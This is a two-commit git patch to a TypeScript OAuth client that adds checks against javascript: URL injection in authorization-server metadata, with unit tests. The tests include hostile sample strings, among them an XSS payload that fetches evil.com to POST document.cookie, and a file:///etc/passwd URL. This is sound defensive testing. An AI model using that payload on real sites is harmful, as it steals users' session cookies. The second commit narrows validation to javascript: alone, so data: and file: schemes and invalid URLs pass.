From 86cbf91680470bc7c9e8226a1fdf38b6277ed91a Mon Sep 17 00:00:00 2001 From: arjunkmrm Date: Tue, 5 Aug 2025 11:46:15 +0800 Subject: [PATCH 1/2] fix(auth): prevent javascript url injection in oauth endpoints --- src/client/auth.ts | 23 +++++++++++++++++++---- src/shared/auth-utils.test.ts | 16 +++++++++++++++- src/shared/auth-utils.ts | 17 ++++++++++++++++- 3 files changed, 50 insertions(+), 6 deletions(-) diff --git a/src/client/auth.ts b/src/client/auth.ts index ab8aff0c7..830d2e543 100644 --- a/src/client/auth.ts +++ b/src/client/auth.ts @@ -12,7 +12,7 @@ import { OpenIdProviderDiscoveryMetadataSchema } from "../shared/auth.js"; import { OAuthClientInformationFullSchema, OAuthMetadataSchema, OAuthProtectedResourceMetadataSchema, OAuthTokensSchema } from "../shared/auth.js"; -import { checkResourceAllowed, resourceUrlFromServerUrl } from "../shared/auth-utils.js"; +import { checkResourceAllowed, resourceUrlFromServerUrl, isValidOAuthScheme } from "../shared/auth-utils.js"; import { InvalidClientError, InvalidGrantError, @@ -820,6 +820,9 @@ export async function startAuthorization( let authorizationUrl: URL; if (metadata) { authorizationUrl = new URL(metadata.authorization_endpoint); + if (!isValidOAuthScheme(authorizationUrl)) { + throw new Error(`Invalid authorization_endpoint URL scheme: ${authorizationUrl.protocol}. Only http: and https: are allowed.`); + } if (!metadata.response_types_supported.includes(responseType)) { throw new Error( @@ -911,9 +914,15 @@ export async function exchangeAuthorization( ): Promise { const grantType = "authorization_code"; - const tokenUrl = metadata?.token_endpoint - ? new URL(metadata.token_endpoint) - : new URL("/token", authorizationServerUrl); + let tokenUrl: URL; + if (metadata?.token_endpoint) { + tokenUrl = new URL(metadata.token_endpoint); + if (!isValidOAuthScheme(tokenUrl)) { + throw new Error(`Invalid token_endpoint URL scheme: ${tokenUrl.protocol}. Only http: and https: are allowed.`); + } + } else { + tokenUrl = new URL("/token", authorizationServerUrl); + } if ( metadata?.grant_types_supported && @@ -998,6 +1007,9 @@ export async function refreshAuthorization( let tokenUrl: URL; if (metadata) { tokenUrl = new URL(metadata.token_endpoint); + if (!isValidOAuthScheme(tokenUrl)) { + throw new Error(`Invalid token_endpoint URL scheme: ${tokenUrl.protocol}. Only http: and https: are allowed.`); + } if ( metadata.grant_types_supported && @@ -1069,6 +1081,9 @@ export async function registerClient( } registrationUrl = new URL(metadata.registration_endpoint); + if (!isValidOAuthScheme(registrationUrl)) { + throw new Error(`Invalid registration_endpoint URL scheme: ${registrationUrl.protocol}. Only http: and https: are allowed.`); + } } else { registrationUrl = new URL("/register", authorizationServerUrl); } diff --git a/src/shared/auth-utils.test.ts b/src/shared/auth-utils.test.ts index c1fa7bdf1..06f653673 100644 --- a/src/shared/auth-utils.test.ts +++ b/src/shared/auth-utils.test.ts @@ -1,4 +1,4 @@ -import { resourceUrlFromServerUrl, checkResourceAllowed } from './auth-utils.js'; +import { resourceUrlFromServerUrl, checkResourceAllowed, isValidOAuthScheme } from './auth-utils.js'; describe('auth-utils', () => { describe('resourceUrlFromServerUrl', () => { @@ -58,4 +58,18 @@ describe('auth-utils', () => { expect(checkResourceAllowed({ requestedResource: 'https://example.com/folder', configuredResource: 'https://example.com/folder/' })).toBe(false); }); }); + + describe('isValidOAuthScheme', () => { + it('should accept http and https URLs', () => { + expect(isValidOAuthScheme(new URL('https://auth.example.com/oauth'))).toBe(true); + expect(isValidOAuthScheme(new URL('http://localhost:8080/token'))).toBe(true); + }); + + it('should reject dangerous schemes', () => { + expect(isValidOAuthScheme(new URL('javascript:alert("XSS")'))).toBe(false); + expect(isValidOAuthScheme(new URL('data:text/html,'))).toBe(false); + expect(isValidOAuthScheme(new URL('file:///etc/passwd'))).toBe(false); + expect(isValidOAuthScheme(new URL('ftp://malicious.com/file'))).toBe(false); + }); + }); }); diff --git a/src/shared/auth-utils.ts b/src/shared/auth-utils.ts index 97a77c01d..353b890e2 100644 --- a/src/shared/auth-utils.ts +++ b/src/shared/auth-utils.ts @@ -1,5 +1,5 @@ /** - * Utilities for handling OAuth resource URIs. + * Utilities for handling OAuth resource URIs and security validation. */ /** @@ -52,3 +52,18 @@ export function resourceUrlFromServerUrl(url: URL | string ): URL { return requestedPath.startsWith(configuredPath); } + + /** + * Validates that a URL uses a safe scheme for OAuth endpoints (http or https only). + * + * This prevents XSS (Cross-Site Scripting) and RCE (Remote Code Execution) attacks + * where malicious authorization servers could return endpoints with dangerous schemes + * like javascript:, data:, file:, etc. that could lead to code execution when + * processed by OAuth clients. + * + * @param url - The URL to validate + * @returns true if the URL scheme is safe (http: or https:), false otherwise + */ +export function isValidOAuthScheme(url: URL): boolean { + return ['https:', 'http:'].includes(url.protocol); +} From 6ef646e3e9e6211ddd20157f5c9babd9dbcb0e6a Mon Sep 17 00:00:00 2001 From: arjunkmrm Date: Tue, 5 Aug 2025 18:55:02 +0800 Subject: [PATCH 2/2] update to validate metadata authorization_endpoint on fetch --- src/client/auth.ts | 36 +++++++++++++++-------------------- src/shared/auth-utils.test.ts | 23 ++++++++++++---------- src/shared/auth-utils.ts | 22 ++++++++++++--------- 3 files changed, 41 insertions(+), 40 deletions(-) diff --git a/src/client/auth.ts b/src/client/auth.ts index 830d2e543..66cfb792b 100644 --- a/src/client/auth.ts +++ b/src/client/auth.ts @@ -12,7 +12,7 @@ import { OpenIdProviderDiscoveryMetadataSchema } from "../shared/auth.js"; import { OAuthClientInformationFullSchema, OAuthMetadataSchema, OAuthProtectedResourceMetadataSchema, OAuthTokensSchema } from "../shared/auth.js"; -import { checkResourceAllowed, resourceUrlFromServerUrl, isValidOAuthScheme } from "../shared/auth-utils.js"; +import { checkResourceAllowed, resourceUrlFromServerUrl, isAuthorizationEndpointSafe } from "../shared/auth-utils.js"; import { InvalidClientError, InvalidGrantError, @@ -774,10 +774,19 @@ export async function discoverAuthorizationServerMetadata( } // Parse and validate based on type + const responseData = await response.json(); + if (type === 'oauth') { - return OAuthMetadataSchema.parse(await response.json()); + const metadata = OAuthMetadataSchema.parse(responseData); + if (!isAuthorizationEndpointSafe(metadata)) { + throw new Error(`Invalid OAuth metadata from ${endpointUrl}: authorization_endpoint uses javascript: scheme which is not allowed for security reasons.`); + } + return metadata; } else { - const metadata = OpenIdProviderDiscoveryMetadataSchema.parse(await response.json()); + const metadata = OpenIdProviderDiscoveryMetadataSchema.parse(responseData); + if (!isAuthorizationEndpointSafe(metadata)) { + throw new Error(`Invalid OIDC metadata from ${endpointUrl}: authorization_endpoint uses javascript: scheme which is not allowed for security reasons.`); + } // MCP spec requires OIDC providers to support S256 PKCE if (!metadata.code_challenge_methods_supported?.includes('S256')) { @@ -820,9 +829,6 @@ export async function startAuthorization( let authorizationUrl: URL; if (metadata) { authorizationUrl = new URL(metadata.authorization_endpoint); - if (!isValidOAuthScheme(authorizationUrl)) { - throw new Error(`Invalid authorization_endpoint URL scheme: ${authorizationUrl.protocol}. Only http: and https: are allowed.`); - } if (!metadata.response_types_supported.includes(responseType)) { throw new Error( @@ -914,15 +920,9 @@ export async function exchangeAuthorization( ): Promise { const grantType = "authorization_code"; - let tokenUrl: URL; - if (metadata?.token_endpoint) { - tokenUrl = new URL(metadata.token_endpoint); - if (!isValidOAuthScheme(tokenUrl)) { - throw new Error(`Invalid token_endpoint URL scheme: ${tokenUrl.protocol}. Only http: and https: are allowed.`); - } - } else { - tokenUrl = new URL("/token", authorizationServerUrl); - } + const tokenUrl = metadata?.token_endpoint + ? new URL(metadata.token_endpoint) + : new URL("/token", authorizationServerUrl); if ( metadata?.grant_types_supported && @@ -1007,9 +1007,6 @@ export async function refreshAuthorization( let tokenUrl: URL; if (metadata) { tokenUrl = new URL(metadata.token_endpoint); - if (!isValidOAuthScheme(tokenUrl)) { - throw new Error(`Invalid token_endpoint URL scheme: ${tokenUrl.protocol}. Only http: and https: are allowed.`); - } if ( metadata.grant_types_supported && @@ -1081,9 +1078,6 @@ export async function registerClient( } registrationUrl = new URL(metadata.registration_endpoint); - if (!isValidOAuthScheme(registrationUrl)) { - throw new Error(`Invalid registration_endpoint URL scheme: ${registrationUrl.protocol}. Only http: and https: are allowed.`); - } } else { registrationUrl = new URL("/register", authorizationServerUrl); } diff --git a/src/shared/auth-utils.test.ts b/src/shared/auth-utils.test.ts index 06f653673..356f37401 100644 --- a/src/shared/auth-utils.test.ts +++ b/src/shared/auth-utils.test.ts @@ -1,4 +1,4 @@ -import { resourceUrlFromServerUrl, checkResourceAllowed, isValidOAuthScheme } from './auth-utils.js'; +import { resourceUrlFromServerUrl, checkResourceAllowed, isAuthorizationEndpointSafe } from './auth-utils.js'; describe('auth-utils', () => { describe('resourceUrlFromServerUrl', () => { @@ -59,17 +59,20 @@ describe('auth-utils', () => { }); }); - describe('isValidOAuthScheme', () => { - it('should accept http and https URLs', () => { - expect(isValidOAuthScheme(new URL('https://auth.example.com/oauth'))).toBe(true); - expect(isValidOAuthScheme(new URL('http://localhost:8080/token'))).toBe(true); + describe('isAuthorizationEndpointSafe', () => { + it('should allow safe authorization endpoints', () => { + expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'https://auth.example.com/authorize' })).toBe(true); + expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'https://auth.example.com/auth' })).toBe(true); + expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'https://auth.example.com/tenant1/authorize' })).toBe(true); }); - it('should reject dangerous schemes', () => { - expect(isValidOAuthScheme(new URL('javascript:alert("XSS")'))).toBe(false); - expect(isValidOAuthScheme(new URL('data:text/html,'))).toBe(false); - expect(isValidOAuthScheme(new URL('file:///etc/passwd'))).toBe(false); - expect(isValidOAuthScheme(new URL('ftp://malicious.com/file'))).toBe(false); + it('should block javascript: authorization endpoints', () => { + expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'javascript:alert("XSS")' })).toBe(false); + expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'javascript:fetch("https://evil.com/steal",{method:"POST",body:document.cookie})' })).toBe(false); + }); + + it('should pass through for invalid URLs', () => { + expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'invalid-url' })).toBe(true); }); }); }); diff --git a/src/shared/auth-utils.ts b/src/shared/auth-utils.ts index 353b890e2..49770641c 100644 --- a/src/shared/auth-utils.ts +++ b/src/shared/auth-utils.ts @@ -54,16 +54,20 @@ export function resourceUrlFromServerUrl(url: URL | string ): URL { } /** - * Validates that a URL uses a safe scheme for OAuth endpoints (http or https only). + * Validates OAuth authorization endpoint to prevent JavaScript URL injection attacks. * - * This prevents XSS (Cross-Site Scripting) and RCE (Remote Code Execution) attacks - * where malicious authorization servers could return endpoints with dangerous schemes - * like javascript:, data:, file:, etc. that could lead to code execution when - * processed by OAuth clients. + * Checks that the authorization_endpoint doesn't use the javascript: scheme, + * which could lead to code execution when the client redirects users to it. * - * @param url - The URL to validate - * @returns true if the URL scheme is safe (http: or https:), false otherwise + * @param metadata - The OAuth authorization server metadata to validate + * @returns true if authorization endpoint is safe (no javascript: scheme), false otherwise */ -export function isValidOAuthScheme(url: URL): boolean { - return ['https:', 'http:'].includes(url.protocol); +export function isAuthorizationEndpointSafe(metadata: { authorization_endpoint: string }): boolean { + try { + const url = new URL(metadata.authorization_endpoint); + return url.protocol !== 'javascript:'; + } catch { + // Invalid URL format - let other validation handle this + return true; + } }